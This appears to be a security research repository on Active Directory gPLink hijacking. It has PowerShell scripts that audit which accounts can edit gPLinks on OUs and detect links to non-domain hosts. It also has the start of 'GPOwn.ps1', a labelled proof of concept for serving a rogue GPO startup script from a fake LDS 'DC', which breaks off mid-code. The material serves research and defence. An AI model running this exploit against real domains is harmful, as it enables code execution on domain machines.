├── Defend └── OUACLs.ps1 ├── Detect └── findBadgpLink.ps1 ├── Exploit └── GPOwn.ps1 ├── LICENSE └── README.md /Defend/OUACLs.ps1: -------------------------------------------------------------------------------- 1 |  2 | 3 | <# 4 | .SYNOPSIS 5 | Looks at domain Top and all OUs and reports who can edit gPLinks. Exclusing domain admins and named lists 6 | .DESCRIPTION 7 | -Exclude is a -like *String* search, so don't use short strings. 8 | .NOTES 9 | File Name : OUAcls.ps1 10 | Author : Mark R. Gamache - mark@markgamache.com - @markGamacheNerd 11 | Requires : UNK. Computers I guess 12 | .LINKS 13 | Use BloodHound, it's better https://github.com/BloodHoundAD/BloodHound 14 | 15 | 16 | #> 17 | param( 18 | [parameter(Mandatory=$true)] 19 | [string] $DomainDNS, 20 | 21 | [parameter(Mandatory=$false)] 22 | [string[]] $Exclude = @() 23 | 24 | ) 25 | 26 | $SIDCache = @{} 27 | $PrinCache = @{} 28 | 29 | function Spew-ACL{ 30 | Param( 31 | 32 | [Parameter(Mandatory=$True)] 33 | [string]$objectDN 34 | ) 35 | 36 | if($bLocalDomain) 37 | { 38 | $baseACL = Get-Acl "ad:\$objectDN" 39 | } 40 | else 41 | { 42 | $baseACL = Get-Acl "RemAD:\$objectDN" 43 | } 44 | 45 | 46 | foreach($ace in $baseACL.Access) 47 | { 48 | $tempObj = [pscustomobject] @{ActiveDirectoryRights=""; 49 | ActiveDirectoryRightsV=""; 50 | InheritanceType=""; 51 | ObjectType=""; 52 | InheritedObjectType=""; 53 | ObjectFlags=""; 54 | IdentityReference=""; 55 | IsInherited=""; 56 | InheritanceFlags=""; 57 | PropagationFlags=""; 58 | AccessControlType="" 59 | } 60 | 61 | 62 | #$ace.Access 63 | $tempObj.AccessControlType = $ace.AccessControlType 64 | $tempObj.ActiveDirectoryRightsV = [int] $ace.ActiveDirectoryRights 65 | $tempObj.ActiveDirectoryRights = $ace.ActiveDirectoryRights 66 | $tempObj.InheritanceType = $ace.InheritanceType 67 | $tempObj.ObjectType = $ace.ObjectType 68 | $tempObj.InheritedObjectType = $ace.InheritedObjectType 69 | $tempObj.ObjectFlags = $ace.ObjectFlags 70 | $tempObj.IdentityReference = $ace.IdentityReference 71 | $tempObj.IsInherited = $ace.IsInherited 72 | $tempObj.InheritanceFlags = $ace.InheritanceFlags 73 | $tempObj.PropagationFlags = $ace.PropagationFlags 74 | 75 | 76 | 77 | if($ace.ActiveDirectoryRights -band 8 -and $ace.ActiveDirectoryRights -lt 983551) 78 | { 79 | echo "Self" 80 | } 81 | 82 | if($ace.ActiveDirectoryRights -band 256 ) 83 | { 84 | if($ace.ObjectType -ne "00000000-0000-0000-0000-000000000000") 85 | { 86 | $tempObj.ObjectType = $reverseExtendedrightsmap[$ace.ObjectType] 87 | } 88 | } 89 | else 90 | { 91 | 92 | if($ace.ObjectType -ne "00000000-0000-0000-0000-000000000000") 93 | { 94 | try 95 | { 96 | $tempObj.ObjectType = $reverseGuidmap[$ace.ObjectType] 97 | if($tempObj.ObjectType -eq $null) 98 | { 99 | $tempObj.ObjectType = $reverseExtendedrightsmap[$ace.ObjectType] 100 | } 101 | } 102 | catch 103 | { 104 | write-host " " 105 | } 106 | } 107 | } 108 | 109 | if($ace.InheritedObjectType -ne "00000000-0000-0000-0000-000000000000") 110 | { 111 | $tempObj.InheritedObjectType = $reverseGuidmap[$ace.InheritedObjectType] 112 | } 113 | 114 | $tempObj 115 | 116 | $tempObj = $null 117 | 118 | } 119 | 120 | } 121 | 122 | 123 | function getMembers ([string] $Private:accnt) 124 | { 125 | $Private:thing = $null 126 | 127 | 128 | if($Private:accnt.StartsWith("S-1")) 129 | { 130 | #odd use case with crazy SID 131 | $Private:Ob = [pscustomobject] @{DistinguishedName = $Private:accnt} 132 | return $Private:Ob 133 | } 134 | 135 | 136 | if($PrinCache.ContainsKey($Private:accnt)) 137 | { 138 | return $PrinCache[$Private:accnt] 139 | } 140 | else 141 | { 142 | 143 | $Private:domm = $Private:accnt.Split('\')[0] 144 | 145 | $Private:ac = $Private:accnt.Split('\')[1] 146 | 147 | 148 | 149 | try 150 | { 151 | $Private:thing = Get-ADUser $Private:ac -ErrorAction SilentlyContinue -Server "$($doms[$Private:domm])" 152 | } 153 | catch 154 | { 155 | Write-Verbose "User get fail for $Private:ac . Dont worry, this may be a group" 156 | } 157 | if($Private:thing -eq $null) 158 | { 159 | #must be a group. Enum! 160 | try 161 | { 162 | $Private:dddd = $null 163 | $Private:dddd = Get-ADGroupMember -Recursive $Private:ac -Server "$($doms[$Private:domm])" 164 | $PrinCache.Add($Private:accnt, $Private:dddd) 165 | return $Private:dddd 166 | } 167 | catch 168 | { 169 | $mess = $Error[0].Exception.Message 170 | if($mess -eq "The operation being requested was not performed because the user has not been authenticated") 171 | { 172 | $Private:stuffs = (Get-ADObject -LDAPFilter "(samaccountname=$Private:ac)" -Properties member -Server "$($doms[$Private:domm])").member 173 | $Private:resovles = @() 174 | foreach($Private:mmm in $Private:stuffs) 175 | { 176 | if($Private:mmm -like "*,CN=ForeignSecurityPrincipals,*") 177 | { 178 | $Private:pie = $Private:mmm.SubString($Private:mmm.IndexOf("=") + 1) 179 | $Private:pie = $Private:pie.SubString(0, $Private:pie.IndexOf(",") ) 180 | try 181 | { 182 | if($SIDCache.ContainsKey($Private:pie)) 183 | { 184 | $Private:resovles += getMembers $SIDCache[$Private:pie] 185 | } 186 | else 187 | { 188 | $Private:accttt = New-Object System.Security.Principal.SecurityIdentifier($Private:pie) 189 | $Private:objUser = $Private:accttt.Translate( [System.Security.Principal.NTAccount]) 190 | $SIDCache.Add($Private:pie, $Private:objUser.Value) 191 | $Private:resovles += getMembers $Private:objUser.Value 192 | #Write-Host $Private:pie 193 | } 194 | } 195 | catch 196 | { 197 | $Private:newy = [pscustomobject] @{DistinguishedName = $Private:pie} 198 | #$SIDCache.Add($Private:pie, $Private:newy) 199 | $Private:resovles += $Private:newy 200 | $Private:newy = $null 201 | #Write-Host " " 202 | } 203 | } 204 | else 205 | { 206 | $Private:newy = [pscustomobject] @{DistinguishedName = $Private:mmm} 207 | $Private:resovles += $Private:newy 208 | $Private:newy = $null 209 | 210 | } 211 | } 212 | 213 | $PrinCache.Add($Private:accnt, $Private:resovles) 214 | return $Private:resovles 215 | 216 | 217 | } 218 | else 219 | { 220 | Write-Verbose "get group fail for $Private:domm \ $Private:accnt investigate!" 221 | Write-Host $mess 222 | } 223 | } 224 | } 225 | else 226 | { 227 | #is user return it 228 | $PrinCache.Add($Private:accnt, $Private:thing) 229 | return $Private:thing 230 | } 231 | } 232 | 233 | } 234 | 235 | 236 | function bIgnoreACE([string] $Private:ref) 237 | { 238 | if($Private:ref.StartsWith("O:")) 239 | { 240 | return $true 241 | } 242 | foreach($ig in $excludeList) 243 | { 244 | if($Private:ref -like "*$ig*") 245 | { 246 | return $true 247 | } 248 | 249 | } 250 | 251 | return $false 252 | 253 | } 254 | 255 | 256 | function setupMaps 257 | { 258 | 259 | #Get a reference to the RootDSE of the current domain 260 | $rootdse = Get-ADRootDSE -Server $DomainDNS 261 | #Get a reference to the current domain 262 | $domain = Get-ADDomain $DomainDNS 263 | 264 | #Create a hashtable to store the GUID value of each schema class and attribute 265 | $guidmap = @{} 266 | Get-ADObject -Server $DomainDNS -SearchBase "$($rootdse.SchemaNamingContext)" -LDAPFilter "(schemaidguid=*)" -Properties lDAPDisplayName,schemaIDGUID | % {$guidmap[$_.lDAPDisplayName]=[System.GUID]$_.schemaIDGUID} 267 | 268 | $reverseGuidmap = @{} 269 | Get-ADObject -Server $DomainDNS -SearchBase "$($rootdse.SchemaNamingContext)" -LDAPFilter "(schemaidguid=*)" -Properties lDAPDisplayName,schemaIDGUID | % {$reverseGuidmap[[System.GUID]$_.schemaIDGUID]=$_.lDAPDisplayName} 270 | 271 | 272 | #Create a hashtable to store the GUID value of each extended right in the forest 273 | $extendedrightsmap = @{} 274 | Get-ADObject -Server $DomainDNS -SearchBase "$($rootdse.ConfigurationNamingContext)" -LDAPFilter "(&(objectclass=controlAccessRight)(rightsguid=*))" -Properties displayName,rightsGuid | % {$extendedrightsmap[$_.displayName]=[System.GUID]$_.rightsGuid} 275 | 276 | 277 | $reverseExtendedrightsmap = @{} 278 | Get-ADObject -Server $DomainDNS -SearchBase "$($rootdse.ConfigurationNamingContext)" -LDAPFilter "(&(objectclass=controlAccessRight)(rightsguid=*))" -Properties displayName,rightsGuid | % {$reverseExtendedrightsmap[[System.GUID]$_.rightsGuid]=$_.displayName} 279 | 280 | 281 | return $guidmap, $reverseGuidmap, $extendedrightsmap, $reverseExtendedrightsmap 282 | } 283 | 284 | #pain for looking at a foreign domain 285 | if($env:USERDNSDOMAIN -ne $DomainDNS) 286 | { 287 | # new SPDrive for foriegn domain. get and set ACL use a PSdrive with no server paramer 288 | New-PSDrive -Name RemAD -PSProvider ActiveDirectory -Server $DomainDNS -Scope Global -root "//RootDSE/" 289 | $bLocalDomain = $false 290 | Write-Warning "You are testing across a trust boundry, this will cause failures for non-transitive trusts." 291 | } 292 | else 293 | { 294 | $bLocalDomain = $true 295 | } 296 | 297 | Write-Warning "This tool is neat, but to get the full picture, you need to combine it with other paths to failure. You should really using https://github.com/BloodHoundAD/BloodHound " 298 | 299 | Write-Verbose "Getting AD schema data" 300 | 301 | #get the attribute name map and rights sets map 302 | $maps = setupMaps 303 | $guidmap = $maps[0] 304 | $reverseGuidmap = $maps[1] 305 | $extendedrightsmap = $maps[2] 306 | $reverseExtendedrightsmap = $maps[3] 307 | 308 | $allOUs = $null 309 | 310 | 311 | 312 | 313 | $excludeList = @() 314 | $excludeList += "BUILTIN\Administrators" 315 | $excludeList += "Domain Admins" 316 | 317 | foreach($ex in $Exclude) 318 | { 319 | $excludeList += $ex 320 | } 321 | 322 | Write-Verbose "Getting AD Trusts" 323 | #map of domains with NBN and dns name (Get-ADDomain).NetBIOSName 324 | $doms = @{} 325 | $thisDom = Get-ADDomain $DomainDNS 326 | $doms.Add($thisDom.NetBIOSName, $thisDom.DNSRoot) 327 | $trusts = Get-ADTrust -Filter * -Server $DomainDNS 328 | 329 | foreach($tr in $trusts) 330 | { 331 | $NBN = $null 332 | try 333 | { 334 | $NBN = (Get-ADDomain "$($tr.Target)") 335 | if($NBN -ne $null) 336 | { 337 | if(! $doms.Contains($NBN.NetBIOSName)) 338 | { 339 | $doms.Add($NBN.NetBIOSName, $tr.Target) 340 | } 341 | } 342 | } 343 | catch 344 | { 345 | if($Error[0].Exception.Message -eq "The server has rejected the client credentials.") 346 | { 347 | Write-Warning "Can't get info on domain $($tr.Target)" 348 | Write-Warning "This may be due to non-transitive tursts, or one way trusts" 349 | } 350 | else 351 | { 352 | $Error[0] 353 | Write-Warning "$($tr.Target): This may be due to non-transitive tursts, or one way trusts" 354 | } 355 | } 356 | 357 | 358 | 359 | } 360 | 361 | Write-Warning "Getting OUs" 362 | 363 | $allOUs = Get-ADOrganizationalUnit -Filter * -Server $DomainDNS 364 | $ousWithData = @() 365 | 366 | Write-Verbose "Processing OUs" 367 | 368 | foreach($ou in $allOUs) 369 | { 370 | Write-Verbose $ou.DistinguishedName 371 | 372 | $theACLS = $null 373 | $theACLS = Spew-ACL "$($ou.DistinguishedName)" 374 | 375 | if($bLocalDomain) 376 | { 377 | $own = Get-Acl "ad:\$($ou.DistinguishedName)" 378 | } 379 | else 380 | { 381 | $own = Get-Acl "RemAD:\$($ou.DistinguishedName)" 382 | } 383 | 384 | $theOwn = $null 385 | #the object taht we array and return later 386 | 387 | 388 | $OUdats = [PSCustomObject]@{ 389 | DN = $($ou.DistinguishedName) 390 | Writers = @{} 391 | Owned = @() 392 | 393 | } 394 | 395 | 396 | if(!(bIgnoreACE "$($own.Owner)")) 397 | { 398 | 399 | 400 | $theOwn = getMembers "$($own.Owner)" 401 | foreach($mem in $theOwn) 402 | { 403 | #use HT 404 | if(! $OUdats.Writers.Contains($mem.distinguishedName)) 405 | { 406 | $OUdats.Writers.Add( $mem.distinguishedName, $mem) 407 | } 408 | 409 | } 410 | $theOwn = $null 411 | $mem = $null 412 | #$own.Owner 413 | } 414 | 415 | 416 | foreach($ace in $theACLS) 417 | { 418 | 419 | $thems = $null 420 | if($ace.ObjectType -eq "gplink" -and $ace.ActiveDirectoryRights -like "*WriteProperty*" ) 421 | { 422 | if(!(bIgnoreACE "$($ace.IdentityReference.ToString())")) 423 | { 424 | #Write-Warning "$($ou.DistinguishedName)" 425 | $thems = $null 426 | 427 | $thems = getMembers "$($ace.IdentityReference.ToString())" 428 | foreach($mem in $thems) 429 | { 430 | try 431 | { 432 | #use HT 433 | if(! $OUdats.Writers.Contains($mem.distinguishedName)) 434 | { 435 | $OUdats.Writers.Add( $mem.distinguishedName, $mem) 436 | } 437 | 438 | } 439 | catch 440 | { 441 | #cross forest odd 442 | if(! $OUdats.Writers.Contains($mem.name)) 443 | { 444 | $OUdats.Writers.Add( $mem.name, $mem) 445 | } 446 | 447 | } 448 | } 449 | 450 | $thems = $null 451 | $mem = $null 452 | #$ace 453 | } 454 | } 455 | elseif($ace.ActiveDirectoryRights -like "GenericAll" -and !($ace.IdentityReference.ToString() -ne "NT AUTHORITY\SYSTEM" -or $ace.IdentityReference.ToString() -notlike "*domain admins" )) 456 | { 457 | if(!(bIgnoreACE "$($ace.IdentityReference.ToString())")) 458 | { 459 | # Write-Warning "$($ou.DistinguishedName)" 460 | $thems = getMembers "$($ace.IdentityReference.ToString())" 461 | foreach($mem in $thems) 462 | { 463 | #use HT 464 | if(! $OUdats.Writers.Contains($mem.distinguishedName)) 465 | { 466 | $OUdats.Writers.Add( $mem.distinguishedName, $mem) 467 | } 468 | 469 | } 470 | 471 | $thems = $null 472 | $mem = $null 473 | #$ace 474 | } 475 | } 476 | elseif($ace.ActiveDirectoryRights -like "*WriteOwner*" -or $ace.ActiveDirectoryRights -like "*WriteDacl*" -and !($ace.IdentityReference.ToString() -ne "NT AUTHORITY\SYSTEM" -or $ace.IdentityReference.ToString() -notlike "*domain admins" )) 477 | { 478 | if(!(bIgnoreACE "$($ace.IdentityReference.ToString())")) 479 | { 480 | #Write-Warning "$($ou.DistinguishedName)" 481 | $thems = getMembers "$($ace.IdentityReference.ToString())" 482 | foreach($mem in $thems) 483 | { 484 | #use HT 485 | if(! $OUdats.Writers.Contains($mem.distinguishedName)) 486 | { 487 | $OUdats.Writers.Add( $mem.distinguishedName, $mem) 488 | } 489 | 490 | } 491 | 492 | $thems = $null 493 | $mem = $null 494 | #$ace 495 | } 496 | } 497 | else 498 | { 499 | # $ace 500 | # write-host " " 501 | } 502 | } 503 | 504 | #echo "`r`n " 505 | 506 | if($OUdats.Writers.Count -gt 0) 507 | { 508 | #get what's under 509 | 510 | $ownedObjs = $null 511 | $ownedObjs = Get-ADObject -SearchBase $ou.DistinguishedName -LDAPFilter "(objectclass=user)" -Server $DomainDNS 512 | $OUdats.Owned += $ownedObjs 513 | $ousWithData += $OUdats 514 | } 515 | else 516 | { 517 | #echo "clean OU" 518 | 519 | } 520 | } 521 | 522 | Remove-PSDrive -Name RemAD 523 | $ousWithData 524 | -------------------------------------------------------------------------------- /Detect/findBadgpLink.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Looks at domain Top and all OUs and reports if any gpLinks have been hijacked to non-DCs 4 | .DESCRIPTION 5 | What I just said 6 | .NOTES 7 | File Name : findBadgpLink.ps1 8 | Author : Mark R. Gamache - mark@markgamache.com - @markGamacheNerd 9 | Requires : UNK. Computers I guess 10 | 11 | 12 | 13 | #> 14 | 15 | Param ( 16 | [parameter(Mandatory = $True)] 17 | $DomainDNS 18 | 19 | ) 20 | 21 | function isLinkDnTrusted([string[]]$Private:trustDNs, [string] $Private:theDN) 22 | { 23 | 24 | foreach($Private:otr in $Private:trustDNs) 25 | { 26 | if($Private:otr -ceq $Private:theDN) 27 | { 28 | return $true 29 | } 30 | } 31 | return $false 32 | 33 | } 34 | 35 | if($env:USERDNSDOMAIN -eq $DomainDNS) 36 | { 37 | } 38 | else 39 | { 40 | Write-Warning "You are running this test using an out of domain account. For best results use an account you the domain you are scanning.`r`nNon-Transitive trusts may cause holes in the data." 41 | } 42 | 43 | Write-Host "Enumerating trusts to rule out cross domain and cross forest linking.`r`nThere may be SSPI errors for one way trusts" 44 | 45 | #we need the DNs of any domain we might link a GPO to. 46 | $trusts = $null 47 | $trustDNs = @() 48 | $trustDNs += ((Get-ADDomain $DomainDNS).DistinguishedName).ToLower() 49 | $trusts = [string[]](Get-ADTrust -Filter * -Server $DomainDNS).Target 50 | foreach($tr in $trusts) 51 | { 52 | try 53 | { 54 | $trustDNs += ((Get-ADDomain $tr ).DistinguishedName).ToLower() 55 | } 56 | catch 57 | { 58 | if($Error[0].Exception.Message -eq "A call to SSPI failed, see inner exception.") 59 | { 60 | 61 | } 62 | else 63 | { 64 | Write-Error -Exception $Error[0].Exception 65 | } 66 | } 67 | } 68 | 69 | 70 | Write-Host "Getting all gpLinks" 71 | $linkObjects = $null 72 | $linkObjects = Get-ADObject -LDAPFilter "(gplink=*)" -Properties gpLink -Server $DomainDNS 73 | 74 | $bBadFound = $false 75 | 76 | Write-Host "Evaluating all gpLink LDAP URLs" 77 | foreach($lo in $linkObjects) 78 | { 79 | if($lo.gpLink -eq " ") 80 | { 81 | continue 82 | } 83 | $lparts = $null 84 | $lparts = $lo.gplink -split ']' 85 | foreach($part in $lparts) 86 | { 87 | if($part -eq "") 88 | { 89 | continue 90 | } 91 | #$place = 92 | $part = $part.ToLower() 93 | $part = $part.SubString($part.IndexOf(",dc=") + 1) 94 | try 95 | { 96 | $part = $part.SubString(0,$part.IndexOf(";")) 97 | } 98 | catch 99 | { 100 | $Error[0] 101 | } 102 | 103 | if( isLinkDnTrusted $trustDNs $part) 104 | { 105 | # 106 | } 107 | else 108 | { 109 | #freak 110 | Write-Warning "The object $($lo.DistinguishedName) has a link to $($part), which is not a valid AD GPO link.`r`n$($lo.gpLink)" 111 | Write-Host " " 112 | $bBadFound = $True 113 | 114 | } 115 | 116 | } 117 | 118 | 119 | } 120 | 121 | if($bBadFound) 122 | { 123 | Write-Warning "Look above, scary stuff found" 124 | } 125 | else 126 | { 127 | Write-Host "All clear. No bad found" 128 | } 129 | -------------------------------------------------------------------------------- /Exploit/GPOwn.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | PoC for PGOwn. Script Only works for servers due to use of powershell via the ADWS. can be rewritten to run on workstations 4 | .DESCRIPTION 5 | Installs AD/LDS role, creates instace, configures the instance to act like a DC serving up a GPO. The GPO is a machine startup script. 6 | .NOTES 7 | File Name : GPOwn.ps1 8 | Author : Mark R. Gamache - https://markgamache.blogspot.com/ - @markGamacheNerd 9 | Requires : UNK. Computers I guess 10 | 11 | 12 | 13 | #> 14 | 15 | Function Update-LDAPSD 16 | { 17 | Param ( 18 | 19 | [parameter(Mandatory = $true)] 20 | [byte[]]$CurrentSD 21 | 22 | ) 23 | 24 | 25 | $ads = New-Object System.DirectoryServices.ActiveDirectorySecurity 26 | $ads.SetSecurityDescriptorBinaryForm($CurrentSD) 27 | 28 | ##auth'd users 29 | # apply GPO guid edacfd8f-ffb3-11d1-b41d-00a0c968f939 30 | $AppGuid = [guid]::Parse("edacfd8f-ffb3-11d1-b41d-00a0c968f939") 31 | $AuthdUsers = New-Object System.Security.Principal.SecurityIdentifier( "S-1-5-11") 32 | $adCompsAceX = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($AuthdUsers, "ExtendedRight", "Allow",$AppGuid ) 33 | 34 | $ads.AddAccessRule($adCompsAceX) 35 | 36 | $theOutSD = $ads.GetSecurityDescriptorBinaryForm() 37 | 38 | return $theOutSD 39 | 40 | } 41 | 42 | Function Set-LDAPObjectBin 43 | { 44 | Param ( 45 | [parameter(Mandatory = $false)] 46 | [String]#LDAP server name 47 | #Default: closest DC 48 | $LdapServer = [String]::Empty, 49 | 50 | [parameter(Mandatory = $false)] 51 | [Int32]#LDAP server port#Default: 389 52 | $Port = 389, 53 | 54 | [parameter(Mandatory = $true)] 55 | [string]$obDN, 56 | 57 | [parameter(Mandatory = $true)] 58 | [ValidateSet("Add", "Replace", "Delete")] 59 | [string]$Operation, 60 | 61 | [parameter(Mandatory = $true)] 62 | [string]$AtributeName, 63 | 64 | [parameter(Mandatory = $true)] 65 | [byte[]]$Value, 66 | 67 | [parameter(Mandatory = $false)] 68 | [System.DirectoryServices.Protocols.LdapConnection]#existing LDAPConnection object. 69 | #When we perform many searches, it is more effective to use the same conbnection rather than create new connection for each search request. 70 | #Default: $null, which means that connection is created automatically using information in LdapServer and Port parameters 71 | $LdapConnection = $null 72 | 73 | ) 74 | 75 | Process 76 | { 77 | 78 | try 79 | { 80 | 81 | $LdapConnection = new-object System.DirectoryServices.Protocols.LdapConnection(new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($LdapServer, $Port)) 82 | #$LdapConnection.AuthType = 'Basic' 83 | $LdapConnection.AutoBind = $true 84 | $LdapConnection.Bind() 85 | 86 | #LDAP_SERVER_SD_FLAGS_OID for LDAP control . needed to update ntSecurityDescriptor https://msdn.microsoft.com/en-us/library/windows/desktop/aa366987(v=vs.85).aspx 87 | $OIDVal = [byte[]] @( 0x30, 0x03, 0x02, 0x01, 0x04 ) 88 | $editSDOid = New-Object System.DirectoryServices.Protocols.DirectoryControl("1.2.840.113556.1.4.801", $OIDVal, $false, $true) 89 | 90 | 91 | 92 | # make a req that we will tweak. 93 | $rq = new-object System.DirectoryServices.Protocols.ModifyRequest($obDN, $Operation, $atributeName, $Value) 94 | $rq.Controls.Add($editSDOid) 95 | 96 | 97 | $rsp = $LdapConnection.SendRequest($rq) 98 | 99 | 100 | $LdapConnection.Dispose() 101 | 102 | 103 | return $true 104 | 105 | } 106 | catch 107 | { 108 | Write-Error $Error[0] 109 | return $false 110 | } 111 | 112 | } 113 | } 114 | 115 | 116 | Function Set-LDAPObject 117 | { 118 | Param ( 119 | [parameter(Mandatory = $false)] 120 | [String]#LDAP server name 121 | #Default: closest DC 122 | $LdapServer = [String]::Empty, 123 | 124 | [parameter(Mandatory = $false)] 125 | [Int32]#LDAP server port#Default: 389 126 | $Port = 389, 127 | 128 | [parameter(Mandatory = $true)] 129 | [string]$obDN, 130 | 131 | [parameter(Mandatory = $true)] 132 | [ValidateSet("Add", "Replace", "Delete")] 133 | [string]$Operation, 134 | 135 | [parameter(Mandatory = $true)] 136 | [string]$AtributeName, 137 | 138 | [parameter(Mandatory = $true)] 139 | [string[]]$Value, 140 | 141 | [parameter(Mandatory = $false)] 142 | [System.DirectoryServices.Protocols.LdapConnection]#existing LDAPConnection object. 143 | #When we perform many searches, it is more effective to use the same conbnection rather than create new connection for each search request. 144 | #Default: $null, which means that connection is created automatically using information in LdapServer and Port parameters 145 | $LdapConnection = $null 146 | 147 | ) 148 | 149 | Process 150 | { 151 | 152 | try 153 | { 154 | 155 | $LdapConnection = new-object System.DirectoryServices.Protocols.LdapConnection(new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($LdapServer, $Port)) 156 | #$LdapConnection.AuthType = 'Basic' 157 | $LdapConnection.AutoBind = $true 158 | $LdapConnection.Bind() 159 | 160 | # 161 | $rq = new-object System.DirectoryServices.Protocols.ModifyRequest($obDN, $Operation, $atributeName, $Value) 162 | 163 | $rsp = $LdapConnection.SendRequest($rq) 164 | 165 | 166 | $LdapConnection.Dispose() 167 | 168 | 169 | return $true 170 | 171 | } 172 | catch 173 | { 174 | Write-Error $Error[0] 175 | return $false 176 | } 177 | 178 | } 179 | } 180 | 181 | Function New-LDAPObject 182 | { 183 | Param ( 184 | [parameter(Mandatory = $false)] 185 | [String]#LDAP server name 186 | #Default: closest DC 187 | $LdapServer = [String]::Empty, 188 | 189 | [parameter(Mandatory = $false)] 190 | [Int32]#LDAP server port#Default: 389 191 | $Port = 389, 192 | 193 | [parameter(Mandatory = $true)] 194 | [string]$obDN, 195 | 196 | [parameter(Mandatory = $true)] 197 | [string]$objectClass 198 | 199 | <# 200 | 201 | [parameter(Mandatory = $true)] 202 | [string]$atributeName, 203 | 204 | [parameter(Mandatory = $true)] 205 | [string[]]$Value, 206 | 207 | [parameter(Mandatory = $false)] 208 | [System.DirectoryServices.Protocols.LdapConnection]#existing LDAPConnection object. 209 | #When we perform many searches, it is more effective to use the same conbnection rather than create new connection for each search request. 210 | #Default: $null, which means that connection is created automatically using information in LdapServer and Port parameters 211 | 212 | $LdapConnection = $null #> 213 | 214 | ) 215 | 216 | Process 217 | { 218 | 219 | try 220 | { 221 | 222 | $LdapConnection = new-object System.DirectoryServices.Protocols.LdapConnection(new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($LdapServer, $Port)) 223 | #$LdapConnection.AuthType = 'Basic' 224 | $LdapConnection.AutoBind = $true 225 | $LdapConnection.Bind() 226 | 227 | # only works of the class has no mandatory attribs, other than the RDN 228 | $rq = new-object System.DirectoryServices.Protocols.AddRequest($obDN, $objectClass) 229 | 230 | $rsp = $LdapConnection.SendRequest($rq) 231 | 232 | 233 | $LdapConnection.Dispose() 234 | 235 | 236 | return $rq.DistinguishedName 237 | 238 | } 239 | catch 240 | { 241 | Write-Error $Error[0] 242 | return $false 243 | } 244 | 245 | } 246 | } 247 | 248 | 249 | 250 | Function Get-LDAPObject 251 | { 252 | Param ( 253 | [parameter(Mandatory = $false)] 254 | [String]#LDAP server name 255 | #Default: closest DC 256 | $LdapServer = [String]::Empty, 257 | 258 | [parameter(Mandatory = $true)] 259 | [string]$SearchBase, 260 | 261 | [parameter(Mandatory = $true)] 262 | [string]$LDAPFilter, 263 | 264 | [parameter(Mandatory = $false)] 265 | [string[]]$Attributes = $null, 266 | 267 | [parameter(Mandatory = $false)] 268 | [ValidateSet("Base", "OneLevel", "Subtree")] 269 | [string[]]$Scope = "OneLevel", 270 | 271 | 272 | [parameter(Mandatory = $false)] 273 | [Int32]#LDAP server port#Default: 389 274 | $Port = 389, 275 | [parameter(Mandatory = $false)] 276 | [System.DirectoryServices.Protocols.LdapConnection]#existing LDAPConnection object. 277 | #When we perform many searches, it is more effective to use the same conbnection rather than create new connection for each search request. 278 | #Default: $null, which means that connection is created automatically using information in LdapServer and Port parameters 279 | $LdapConnection 280 | 281 | ) 282 | 283 | Process 284 | { 285 | 286 | try 287 | { 288 | 289 | $LdapConnection = new-object System.DirectoryServices.Protocols.LdapConnection(new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($LdapServer, $Port)) 290 | #$LdapConnection.AuthType = 'Basic' 291 | 292 | #$propDef = @{ "configurationNamingContext" = @(); "schemaNamingContext" = @(); "namingContexts" = @() } 293 | $theEntries = @{} 294 | if($Attributes -ne $null) 295 | { 296 | $propDef = [string[]] $Attributes 297 | } 298 | 299 | 300 | #build request 301 | $rq = new-object System.DirectoryServices.Protocols.SearchRequest 302 | 303 | #LDAP_SERVER_SD_FLAGS_OID for LDAP control . needed to read ntSecurityDescriptor https://msdn.microsoft.com/en-us/library/windows/desktop/aa366987(v=vs.85).aspx 304 | $OIDVal = [byte[]] @( 0x30, 0x03, 0x02, 0x01, 0x04 ) 305 | $editSDOid = New-Object System.DirectoryServices.Protocols.DirectoryControl("1.2.840.113556.1.4.801", $OIDVal, $false, $true) 306 | $rq.Controls.Add($editSDOid) | Out-Null 307 | 308 | $rq.DistinguishedName = $SearchBase 309 | $rq.Filter = $LDAPFilter 310 | $rq.Scope = $Scope 311 | if($Attributes -ne $null) 312 | { 313 | $rq.Attributes.AddRange($Attributes) | Out-Null 314 | } 315 | 316 | $rq.TimeLimit = New-Object System.TimeSpan(1,0,4); 317 | $rsp = $LdapConnection.SendRequest($rq) 318 | 319 | foreach($ent in $rsp.Entries) 320 | { 321 | $theAttribs = @{} 322 | $totalAtts = 0 323 | $totalAtts = $ent.Attributes.Count 324 | $atKeys = $null 325 | $atKeys = $ent.Attributes.Keys 326 | 327 | foreach($atttt in $atKeys) 328 | { 329 | try 330 | { 331 | 332 | $attType = $ent.Attributes[$atttt][0].GetType() 333 | if($attType.Name -eq "String") 334 | { 335 | $eeeeeeee = $ent.Attributes[$atttt].GetValues([string]) 336 | $theAttribs.Add($atttt, $eeeeeeee) 337 | if($atttt -eq "url") 338 | { 339 | echo " " 340 | } 341 | } 342 | else 343 | { 344 | $eeeeeeee = $ent.Attributes[$atttt].GetValues([byte[]]) 345 | $theAttribs.Add($atttt, $eeeeeeee) 346 | } 347 | } 348 | catch 349 | { 350 | Write-Error $Error[0] 351 | } 352 | } 353 | $theEntries.Add($ent.distinguishedName, $theAttribs) 354 | $eee = $ent 355 | } 356 | 357 | 358 | return $theEntries 359 | 360 | 361 | 362 | } 363 | catch 364 | { 365 | Write-Error $Error[0] 366 | return $false 367 | } 368 | 369 | } 370 | } 371 | 372 | 373 | 374 | Function Get-RootDSE 375 | { 376 | Param ( 377 | [parameter(Mandatory = $false)] 378 | [String]#LDAP server name 379 | #Default: closest DC 380 | $LdapServer = [String]::Empty, 381 | [parameter(Mandatory = $false)] 382 | [Int32]#LDAP server port#Default: 389 383 | $Port = 389, 384 | [parameter(Mandatory = $false)] 385 | [System.DirectoryServices.Protocols.LdapConnection]#existing LDAPConnection object. 386 | #When we perform many searches, it is more effective to use the same conbnection rather than create new connection for each search request. 387 | #Default: $null, which means that connection is created automatically using information in LdapServer and Port parameters 388 | $LdapConnection 389 | 390 | ) 391 | 392 | Process 393 | { 394 | 395 | try 396 | { 397 | 398 | $LdapConnection = new-object System.DirectoryServices.Protocols.LdapConnection(new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($LdapServer, $Port)) 399 | $LdapConnection.AuthType = 'Basic' 400 | 401 | $propDef = @{ "configurationNamingContext" = 